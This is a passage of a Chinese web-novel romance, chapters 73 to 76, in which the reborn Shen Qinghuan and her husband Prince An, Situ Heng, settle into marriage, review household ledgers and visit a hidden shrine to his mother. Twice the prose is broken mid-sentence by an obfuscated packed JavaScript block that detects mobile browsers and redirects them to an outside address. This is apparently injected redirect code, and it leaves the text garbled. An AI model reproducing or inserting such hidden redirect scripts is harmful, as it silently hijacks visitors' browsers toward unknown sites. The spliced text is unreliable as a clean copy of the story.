“不说,不说。”司徒珩蹲下来,拿出帕子给她擦拭嘴角的茶渍,弯腰把人抱起来送到床上的时候,蹲下来帮她擦干净了脚丫儿。 沈清欢看着司徒珩手臂上的绸缎中衣透出的血迹,声音沙哑:“疼吗?” “疼。”司徒珩抬头看沈清欢:“但算不得什么,更心疼阿灼。” 沈清欢深吸一口气:“这是第一次,也是最后一次。” “不碍事的。”司徒珩从柜子里取出来包扎伤口的布,挽起袖子撒上止血药包扎好,换了中衣走到床边坐下来:“阿灼,睡吧,我守着你。” 沈清欢心里不知道是个什么滋味儿,司徒珩太过温柔了,这根本不像他。 眼前的人总是和漠北的人重合不上,这让她有些无所适从。 沉默着躺下,扫了眼司徒珩受伤的手臂,不想说话,也为了避免尴尬,沈清欢闭上眼睛装睡。 司徒珩就坐在床边,怕自己睡着,盘膝打坐。 “你不用这么委屈自己。”沈清欢说。 司徒珩睁开眼睛偏头看沈清欢:“不委屈的。” “你根本不是这样的人,装又能装多久呢?刚才是我不对,我不该咬伤你。”沈清欢翻身不看司徒珩。 绵长的叹息声后,沈清欢听到司徒珩:“阿灼,你相信命吗?我起初并不觉得你和别人有什么不同,漂亮其实在我眼里是最不算优点的优点,而你颇有心机,这越是宗妇必须要有,但不能被人看出来的短处,而我在你身上看到了心机。” 沈清欢在想,自己的那点儿心机算什么呢?若处处都要顾及,沈家早就被害了。 “但,我后来不知道从什么时候开始,只要你有点点儿委屈或者危险,我的心口就疼的厉害,像是被刀扎了一下。”司徒珩说到这里,自己都忍不住摇头苦笑:“还总是能看到一些画面。” 沈清欢心就咯噔一声,回头看司徒珩:“你看到什么了?” “看到我们两个人穿着民间大婚的婚服,在一个帐篷里,你死在了我的怀里,我也死了。”司徒珩说:“这怎么可能呢?我们从不曾离开过京城,就算是大婚,以我们的身份也不该穿那样的婚服,所以我觉得有前世今生,我这次得把你保护好。” 沈清欢冷汗都下来了。 从没有如此害怕过。 哪怕是知道自己重生的时候都只有庆幸,而不是像现在这般,看司徒珩因为疑惑微微蹙起的眉头,后背都打颤了。 “你憎恶我,是不是因为上辈子我对不起你了?”司徒珩回头看沈清欢,见她脸色有些苍白,眸子缩了缩。 沈清欢别过脸:“你胡思乱想的,这辈子都没活明白,还说那些玄乎事作甚?如果你非要自己骗自己,那就当我是讨债鬼,害怕就给我休书。” 司徒珩噗嗤笑了:“休书是不可能的,除非你休了我,阿灼啊,我会护着你的。” “我睡了。”沈清欢拉起来被子盖住自己的脸,在仔细回想什么时候让司徒珩有那样的感觉的,山里那次肯定是就有感应了,不然他怎么能守着自己那么多天,还摆出来一幅随时都愿意献身的模样。 原以为是三叔和他之间有什么交易,可是不管三叔多大的本事,司徒珩是天家子,是有封号的王爷,他若是不愿意,怎么肯受制于人? 再往前,那便是沈清瑶下毒那次,那次三叔出手让自己又惊又喜,如今看来并非三叔一人之力,是司徒珩遇到了三叔,一拍即合。 往事一幕幕回想起来,沈清欢整个人都静下来了。 说?没什么可以说的,不如好好睡觉。 沈清欢睡着了,睡得很香。 司徒珩听到她绵长的呼吸,微微的勾起唇角,回身靠在床外侧,把她护在怀里。 她知道自己在说什么。 司徒珩很确定。 怪不得见到自己就跟见到仇人了似的,看来自己真是她的仇人,小东西是要来寻仇,那自己就好好的擎着吧。 只是,她知不知道,她若死了,自己也不能独活? 上一世到底经历了什么无可查证,但那份深情是自己能感受到的,这一世自己到现在也没有那种有情的感觉,可就是不忍见她受一点点儿委屈,欠她的,还就是了。 沈清欢睡着的时候,像是受伤的小兽,把自己缩成一团,司徒珩有些心疼,也有些胆怯,试探着一点点儿靠过来,把人真真实实的圈在怀里,紧张到身体僵硬的他刚缓了口气。 哪成想怀里的人突然翻了个身,直接趴在了自己的胸口,暖暖的呼吸透过衣料扑在肌肤上,他瞬间像是被扔进了炙热的火炉里一般,身体的反应无法控制,不得不努力的拉开距离,生怕吓到怀里的人。 男人! 司徒珩有些觉得自己太无耻,可这绝不是能控制得住的。 一想到沈家三叔那护犊子的样子,嘴里都发苦,若非阿灼心甘情愿,自己胆敢越雷池半步,只怕沈家三叔有一百种法子让自己成为太监。 罢了,罢了! 自己上辈造孽一定很大,保不齐沈家人都是来讨债的。 身体僵硬的他一夜没睡,闭目养神一会儿,睁开眼睛端详怀里的人,说真的,沈清欢是真的好看,特别是睡着了的时候,长长的睫毛遮住了下眼睑,肉嘟嘟的小脸还透着孩子气,唇很好看,像桃花瓣…… 赶紧闭上眼睛,司徒珩在心里都默默背诵静心咒了。 上一世的他们,会不会两情相悦? 不会吧,若是两情相悦哪里能结仇? 那这一世呢?司徒珩想,自己很愿意和她两情相悦,只要能化解了仇恨,就算是为她再死一回,好像也可以。 怀里的人似乎醒了,因为她在悄悄的挪蹭,想要脱离自己的怀抱。 司徒珩突然觉得自己有点儿吃亏,一翻身很自然的把人裹在怀里,悄悄的眯着眼睛看沈清欢,见她瞬间脸色涨红的模样,这一宿的煎熬都觉得有趣儿了。 沈清欢憋着气,小心翼翼的往外缩,费了很大的力气可算挪出来了,长长的舒了口气,准备起床。 “阿灼,睡得好吗?” 司徒珩的声音从身后飘来,沈清欢身体一僵,缓缓回头对上司徒珩似笑非笑的脸,只觉得自己的天,好像塌了,这个男人说话不算数!他之前不是这样的!不冷酷无情了?成了登徒子! “我找三叔告状。”沈清欢凶巴巴的说。 司徒珩起身靠在床头:“如何说,才能让三叔信服,而你也不至于太难以启齿呢?” 第74章 世间真有讨债这一说吗? 沈清欢抬起手理了理睡得乱糟糟的头发,尴尬的耳朵尖儿都红了,这一夜睡得状况百出,可跟咬了他比起来,相拥而眠简直能要自己的老命啊。 司徒珩不舍得再为难她,清了清嗓子起身,让郑嬷嬷带着人进来伺候。 到外面吩咐陈嬷嬷把自己草拟的回门礼单准备好,回头让沈清欢过目,若是不满意还可以添减更换。 沈清欢收拾妥当,刚坐下,陈嬷嬷就进来了:“王妃,王爷让您过目,这是回门的礼单。” “嗯。”沈清欢纳闷司徒珩什么时候准备的,毕竟昨儿到今儿忙的厉害,哪里有工夫呢? 不过既然送过来了,看看就看看,以后不管怎么说,府里的内务还是要亲力亲为的,嫁为人妇的本分要做足了,免得回头被太后嫌弃,被人抓住了把柄乱做文章。 翻开从头看到尾,沈清欢缓缓地吸了口气才能稳住心神,回门礼里面有盔甲,这简直是让自己都哭笑不得。 “王爷呢?”沈清欢问。 陈嬷嬷福身:“王爷等王妃一起用早膳。” “好。”沈清欢拿着册子往膳堂来。 司徒珩看着沈清欢小脸凝重的进来,微微挑眉,显然自己送的回门礼有些太别致了。 等她落座,司徒珩让丫环摆桌,转头看着她,撞到了沈清欢打量自己的眼神,笑了笑:“阿灼,不高兴了?” “倒不是不高兴,就是王爷这回门里是不是太多了,京城里但凡涉及天家,哪次不是明里暗里无数双眼睛盯着,送的贵重点儿倒也无妨,这铠甲就有些过了。”沈清欢轻轻地叹了口气:“若是传到了那位耳朵里,就不妥当了。” 司徒珩勾起唇角笑了,阿灼年幼,虽然大夏女子及笄之后便可议婚,可议婚和成婚是两码事,定下婚事怎么也要一两年甚至更长的三五年才完婚,所以这么这么小就为人妇,在京城的勋贵圈子里极少见。 自己比她年长几岁不说,从小就小心谨慎的磨砺出来的心性,自觉要沉稳得多,阿灼则是被亲人呵护着长大的,所以在他心里是把阿灼当成孩子,一个聪明有点儿城府的孩子,再养两三年才能独当一面,偏偏说话都知道如此谨慎,想得也如此周到,甚至可以说够沉稳了,他安心也心疼的。 小小讨债鬼,可不把自己当成孩子呢。 想到这里,清了清嗓子:“那用过早膳,咱们去库房如何?阿灼看着安排就好。” 沈清欢有些不好意思了,低下头:“我知道你怕大哥去漠北少了这些,家里一直都文臣,没有这些。” “无妨,明着不能送,直接送去漠北也可以。”司徒珩那起筷子:“吃东西,早晨我让人去宫里送信儿了,说阿灼被惊吓到了,夜里睡得不安稳,母后免了你入宫请安,也给沈府送了信儿,明儿回门,岳父体谅阿灼,说不拘俗礼,什么时候回去都好。” 本是寻常话,可听到沈清欢的耳朵里,只觉得耳面发烧,只能借故低头吃东西掩饰尴尬。 司徒珩觉得新奇,这丫头竟是如此承不得别人好的,看来自己还是要多努力,毕竟作为夫妻,自己身为夫君,为她做什么事不都是应该的吗?要坦然接受才行。 想到没成婚之前,每次见到自己都跟小母豹子似的眼神儿,现在这副小女儿家的模样,只觉得各有各的好看。 用过早膳,取出来库房钥匙:“阿灼,我今日要出门一趟,你只管定下来回门里,切不可让人说咱们安王府抠抠搜搜的。” “往我自己家送东西,你不怕我搬空你那点儿家当?”沈清欢取过来钥匙:“早去早回。” 司徒珩笑眯眯的走了,脑子里都是那句‘早去早回’,他还是第一次听到这样的叮咛,阿灼怕自己迟迟不归,还真有小媳妇管教丈夫的模样呢。 沈清欢想过司徒珩身家丰厚,但绝没想到如此丰厚,毕竟他并没有外戚仰仗,也没有母妃照拂,就算太后宠爱,那么多双眼睛盯着,也不能无缘无故的送太多东西。 可库房打开的时候,眼前这些只是摆在明面上的金银珠宝、首饰玉石,古玩字画就让她倒吸了一口冷气,外院管家不会陪着,内院无人,除了自己的人,所以她想要问问都找不到谁,只能自己慢慢的看,走到里面见到那些整齐摆放在架子上的账本,沈清欢知道安王富,很富! “嬷嬷,把这些账本送到坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688672|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榻那边。”沈清欢说。 库房是两间,外间有坐榻可供查账,当然也可以搬去书房,只是这么多账目搬来搬去浪费工夫。 沈清欢逐一查看账目,手边的算盘噼啪作响,旁边伺候着的郑嬷嬷和陈嬷嬷都抑制不住喜上眉梢。 她们都是过来人,虽说陪嫁是头一遭,可年纪大了,总是阅历多一些,别说寻常百姓家里要给儿媳立规矩,京城勋贵更是一大堆规矩,过门的新妇,没有个三五年的磨砺,哪里会有机会碰到府里的内务,就算是磨砺三五年光景,那也要婆母认可,还要占长占嫡的媳妇才有机会执掌中馈。 再看自家的小姐,嫁过来就敢**,太后和王爷护着,不单护着还宠着,入宫请安免了不说,这王爷是直接交家底儿,掌家之权就这么顺理成章的落在了小姐手里,安王府的王妃,还真是好当。 特别是陈嬷嬷,作为沈清欢的奶娘,最了解小姐的脾气秉性,小姐憎恶安王是真真的,可才大婚,小姐便和之前判若两人,所以说啊,这姻缘是不是好的,还得看婚后。 *** 司徒珩叩响门环,大门缓缓打开,小和尚探出头看到司徒珩,赶紧开门侧开身:“王爷,您怎么来了?” “老禅师可忙?”司徒珩问。 小和尚恭敬回道:“师父一早就在静室,说等贵客登门,想来是在等着王爷您。” 司徒珩点头,小和尚带路往后院静室来。 众人都知道麒麟山的安国寺和龙首山的护国寺是皇家寺院,却不知道在麒麟山安国寺的后山,有一位高僧,高僧从不与人结缘,除了司徒珩。 司徒珩三岁时候就见过这位高僧,彼时高僧才三十出头,但佛法高深,受太后所托,成为了司徒珩的恩师,高僧什么本事都教司徒珩,唯独不教佛法。 “师父。”司徒珩跪在地上请安。 了缘禅师低垂着眉眼看着司徒珩:“安王殿下刚刚大婚,来这里作甚?” “是来请师父解惑。”司徒珩抬头:“师父,人前世今生是真的吗?真有讨债这一说吗?” 了缘禅师撩起眼皮儿打量着司徒珩:“沈家四姑娘?” 第75章 等着阿灼做主,为我做主呢 了缘禅师看着司徒珩,良久才说:“老衲观安王印堂明亮,当是贵人临命,何来讨债一说?” 贵人临命? 司徒珩微微挑眉,沈清欢是自己的贵人?自己是不相信的。 “若无相欠,无缘相见,若有亏欠,善缘是缘,恶缘亦是缘,助你之人是你红尘之中的顺行菩萨,拦你之人是你红尘之中的逆行菩萨。”了缘禅师单手在胸前,低垂眉眼:“安王遇到的是顺行菩萨,纵有怒目金刚姿态,那也是为了护你长生。” 司徒珩轻叹一声:“师父,我见到一人便心口闷疼,明知是被利用也甘之如饴,脑海之中时常出现没经过的景象,那景象里的我和她,死在了一处未曾去过之地,若非前世有缘,怎么会有这样的感应,若真前世有缘,为何我对她只有疼惜却无爱意。” “安王万万不可如此称呼老衲,老衲与安王是君子之交,这声师父是担不起的,不过老衲还是要问一句,安王对她真的没有男女之情吗?”了缘禅师撩起眼皮儿看司徒珩:“她在,你的命都改了,别问什么前世今生了,只看当下便足以。” 司徒珩还是头一次听了缘禅师说这么多话,其实与其说自己是来问果,倒不如说自己是来问心的。 他从懂事那日起就有这位禅师陪伴,每岁有百日都在这门里,虽不学佛,可耳濡目染这么多年,倒也喜欢这檀木香。 命都改了?那自己的命没改之前又是什么样子的呢? 虽然了缘禅师没有说因果、没有说前世今生,更没说讨债还是还债,但句句又都在告诉自己要珍惜眼前人,沈清欢啊,为何如此牵绊自己,却又像是千丝万缕纠缠在一起,偏偏自己还不透呢? 男女之情,罢了,自己那点子龌龊的心思,就算一个人独处都难以启齿,倒是自欺欺人了一回。 府里。 沈清欢伸了个懒腰,端起茶盏浅浅的抿着,目光落在没看完的账本上,这安王府,真实太缺个管家婆了,明明家大业大,可这账目没人查看,下头的人就少了约束,没了敬畏,自己还以为过来能坐享其成,安王妃嘛,可如今看来,要守着金银珠宝开荒。 陈嬷嬷和郑嬷嬷被打发去牙行了。 疏影和红缨伺候在跟前,这些账目把红缨算得眼泪汪汪的,她们之前跟郑嬷嬷学得挺认真的,可是关键时刻竟有了书到用时方恨少的感觉了。 在府里,小姐也没有学多少日子这些本事,可小姐就像天生便会似的。 疏影倒是没哭鼻子,她负责搬来账本,体力活不用动脑子,只是有些累得慌。 保生来到门外,轻轻地推开门,院子里一个人影也没有,回头看司徒珩。 司徒珩迈步进来没找到人,抬起手揉了揉额角,让保生退下,自己去库房。 路过窗子的时候,听到沈清欢说:“你可出息的厉害,哭个什么?” “小姐,这些账目奴婢都看得眼睛疼了,乱糟糟的,这不是糊弄人吗?”红缨委屈巴巴的说。 沈清欢沉声:“没规矩,不管有人没人,我如今嫁为人妇,你们都要改口称夫人。” “夫人,奴婢错了,请夫人责罚。”红缨赶紧跪下。 沈清欢摆手:“记住就行,跪来跪去看着都累,你们出去看看嬷嬷怎么还没回来。” 红缨和疏影退到门口,一转身俩人都吓得脸色苍白了,刚要请安被司徒珩止住了,看着司徒珩进门,疏影瞪了红缨一眼,红缨羞愧的低下了头。 司徒珩进门,见快要被账本埋上的沈清欢,忍不住勾起唇角笑了。 “难道司徒珩是想要用这些烂账迷惑人?”沈清欢把账目扔到桌子上,眉头紧锁,毕竟看着司徒珩也不是个草包模样,当然上一世虽然让自己恨之入骨,可不得不承认是个英明神武的将军,所以事出反常必有妖。 司徒珩轻手轻脚的走到旁边的椅子前坐下,抬眸看沈清欢,从窗口洒进来的阳光给她镀了一层光晕,太过认真,以至于都没察觉自己进来了,她竟没有防备之心,自己倒小人了,去找了缘禅师想要答案,这答案真的重要吗? 沈清欢把这些账目逐一打开,坐着有些累了,索性跪坐起来,两只手扶着桌案,一本本账目扫过去,啐了一口:“真实使唤傻子呢。” “这就生气了?”司徒珩笑着出声。 沈清欢吓得跌坐在软垫子上,转过头看着不知道什么时候进来的司徒珩,顿时来了脾气:“你属猫的吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692631|171295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?这么吓我,是想要吓死我吗?” “夫人,为夫哪里敢?只不过心疼夫人生气了。”司徒珩走过来抱拳一礼。 沈清欢别开脸:“你弄这些假账目给我看啊?” “账目不假。”司徒珩伸出手很自然的拉住了沈清欢的手:“我带你去看点别的账目。” 沈清欢目光落在他握着自己手的手上,骨节分明,掌心有茧子,虎口上的茧子要更明显一些。 司徒珩以为沈清欢抵触自己,收回手:“同去也认认路。” 沈清欢下地穿鞋,整理了身上的裙子抬头看司徒珩,司徒珩背着手走在前头,刚才还是想要牵着她的手,这动作确实太亲昵了些。 沈清欢跟在后面,进了库房,来到曾经放着账目的架子前,架子上的账本都搬到外面去了。 司徒珩回头:“这里有一个机关,按下去能看到另外的账本。” 沈清欢看司徒珩演示,架子转了半圈,露出暗格,司徒珩走进去,回头:“来啊。” “这里是什么账目?”沈清欢走进来,里面的架子和外面的一样,上面放着的账目少了很多。 司徒珩说:“是这些年下面那些人吞了我多少银钱的账目,这些事我不便出手,如今府里有了主母,主母是个厉害的,想要跟那些个吃里扒外的奴才们算算账,也是应该的。” 沈清欢抬眸看司徒珩,司徒珩笑眯眯的看着她,那样子像是个老狐狸似的,满眼都是盘算。 “你利用我啊。”沈清欢翻了个白眼儿。 司徒珩柔声:“是等着阿灼做主,为我做主呢。” 沈清欢哭笑不得,行行行,不就是让满京城的人都知道司徒珩娶了个泼妇进门吗? 自己还真挺愿意的,大婚之日敢**,当个泼妇能避掉很多麻烦,世家大族,勋贵权臣,哪个后宅不都是勾心斗角,偏偏还要装的多懂规矩似的,自己不懂规矩好,乱拳打死老师傅,自己舒坦。 “搬着账本送去书房,我今儿乏了。”沈清欢转身往外走。 司徒珩伸出手臂拦住她。 沈清欢没想到司徒珩会突然拦住她,一头撞到了他怀里,顿时愤怒的抬眸:“你做什么啊?” 第76章 我还有东西没给阿灼看 司徒珩尴尬地笑了:“那个,我还有东西没给阿灼看。” 沈清欢缓缓地吸气,让自己平静下来后,看着司徒珩木头庄子似的杵在面前一动不动,蹙眉:“看什么?看你吗?” “你来。”司徒珩拉着沈清欢往密室里面去。 沈清欢在司徒珩又打开一个暗门的时候,愕然的瞪大了眼睛,嘀咕了一句:“你是兔子转世吗?弄这么多密室做什么?” 司徒珩回了句:“大概吧,狡兔三窟嘛。” 进了密室,沈清欢见里面空荡荡,唯有正面墙壁上挂着一块红布。 “这里是?” “我的母亲。”司徒珩说。 母亲?难道不该是母妃吗? 沈清欢不动声色,看司徒珩上前拉开红布,里面供桌、贡品都齐备,贡品一看就是新放上去的,灵位上却一个字也没有。 司徒珩满眼期待的回头看沈清欢。 沈清欢心里轻叹,走过来取出三根香点燃,双手捧着香举过头顶拜了三拜,上前把这一炷香放好,后退两步跪下来:“婆母在上,儿媳沈氏清欢给您磕头请安了。” 司徒珩跪在旁边磕头:“娘亲,阿灼很好,以后儿子也有人陪伴在身边了,您放心吧,我一定好好活着,以后,以后也一定会把娘亲的牌位真正的供奉起来,而不是现在这般委屈娘亲。” 沈清欢偏头看司徒珩,看他红了的眼角,她记得司徒珩刚一出生就被太后抱进了宫里,生母的面儿都没见到,就算见到刚出生的孩子哪里能记得住?他为何哭? 司徒珩感觉到沈清欢注视着自己,转过头勉强挤出来点儿笑:“阿灼,谢谢你。” “不用道谢,应该的,只是我没看到茶盏,下次来给婆母奉茶。”沈清欢说,对亡人敬重是应该的,更何况是司徒珩的母亲呢? 司徒珩是个孝顺的人,最珍贵的是生母的灵位。 只是这灵位连名字都不能写,看来司徒珩的身世不单单是自己知道的那些。 司徒珩搀扶着沈清欢起身,二人再给灵位行礼后退出。 “阿灼。”司徒珩轻唤。 沈清欢偏头:“怎么了?” “不管到了任何时候,我都不会写休书给你,除非你休了我,我想和你做白头偕老的夫妻。”司徒珩说。 沈清欢的脸不受控的红了,低下头往外走。 “我只是想让阿灼知道我的心意,你若一直都很厌恶我,等一切都尘埃落定,你休我。”司徒珩跟在身后小声嘀咕,那声音怎么听都有些委屈的。 到外面,司徒珩抱着账目送到沈清欢的书房。 疏影准备了热茶。 沈清欢清了清嗓子:“司徒珩,我们本就是夫妻,我是你明媒正娶进门的安王妃,我不厌恶你,尘埃落定也不会休了你。” “啊?”司徒珩愕然的看着沈清欢。 沈清欢有些恍惚,漠北时候的司徒珩是什么样子的?脸色阴沉,浑身杀气,惜字如金,怎么都跟眼前这个因为自己一句话就一惊一乍的人重合不上。 “当然,若你得偿所愿,沈家平安了,你遇到了心仪的女子,我会离开你的,到时候我们也不用谁休谁,和离就好。”沈清欢说。 司徒珩摇头:“不会的,我不会有心仪的女子,除了你之外,不会有别人。” 未来的事情谁说得清? 沈清欢只是想不明白,司徒珩性情大变是因为什么呢? 按照上一世推算,自己和司徒珩在上一世都在漠北了,那个时候司徒珩就已经沉默寡言,浑身杀气了。 难道他是因为沈家被灭门吗? 她不相信,毕竟沈家的恩情虽然有,但不至于让司徒珩以命相搏,所以一定是有一件事还没发生,那件事对司徒珩来说是很重要,就像自己亲历全家被灭门一般。 唯有那种能把整个人碾碎成泥的痛苦才会让人性情大变。 抿着茶,沈清欢在想,难道是因为那灵位? 司徒珩没有再说话的意思,沈清欢也不会问,她坐在这边看账目,算盘清脆的声音萦绕在房间里。 一旁看书的司徒珩偶尔抬起头看她认真的模样,耳边是了缘禅师的那一番话,微微的勾起唇角,以为两个人大婚后,就算活得不刀光剑影,也会彼此当对方不存在,可事实上就此时此刻,他觉得人生在世,如此相伴着活到老就很好。 忙起来的沈清欢都忘了司徒珩在旁边,一本本账目盘完,扬声:“疏影,把另外的账目汇总拿过来。” 司徒珩起身:“我去。” 沈清欢这才想起来这不是沈府,密室的账目也不是疏影能取出来的,怪只怪这里跟自己在沈府的书房太像了。 很快,司徒珩把账目搬过来。 沈清欢伸手去拿,司徒珩压住了她的手:“别急,累坏了怎么办?我们去准备回门礼。” “也好。”沈清欢看了一圈屋子里的摆设。 司徒珩心领神会,打开墙壁上的暗格。 真是够细心了,沈清欢把账本放在暗格里锁好,两个人又去了库房,疏影和红缨往后厨去安排午膳,郑嬷嬷和陈嬷嬷带着人回来,得知王爷和王妃在库房,二人带着这些人在院里候着。 司徒珩负责挑选回门礼,沈清欢记录在册。 “司徒珩,够了,别太冒高,回头让姐妹难做。”沈清欢停笔。 司徒珩回头:“你说沈清韵?” “三叔大婚后也要生儿育女,若是以后出嫁,回门礼总是要有个比较的。”沈清欢说。 司徒珩轻笑出声:“三叔还没成亲,你倒是盘算的长远。” 沈清欢也笑了,虽然心里是这么想的,但更多的是不想司徒珩送太多的回门礼,不知道多少双眼睛在盯着安王府呢。 两个人出门,沈清欢看到陈嬷嬷和郑嬷嬷带回来十几个人,抬起手压了压额角,府里处处都需要人,都要自己操持呢。 司徒珩回到屋子里,坐在罗汉床上看书,说是看书,耳朵却恨不得支棱起来,沈清欢就在院子里安排这些刚进府的奴仆做事,颇有几分指点江山的样子。 保生从外面进来到司徒珩跟前,低声:“王爷,有书信。” 司徒珩接过来书信打开,脸色瞬间变了,捏着信纸的手上青筋凸起。 “王爷。”保生赶紧提醒。 司徒珩缓缓地吸了口气,自己怎么就没想到呢?瞒了自己二十二年,二十二年啊! “让人继续查!”司徒珩沉声:“不可放过任何一点儿蛛丝马迹!” “是。”保生退下。 在外面安排后宅事物的沈清欢撩起眼皮儿看了眼保生,心里疑惑,司徒珩在查什么?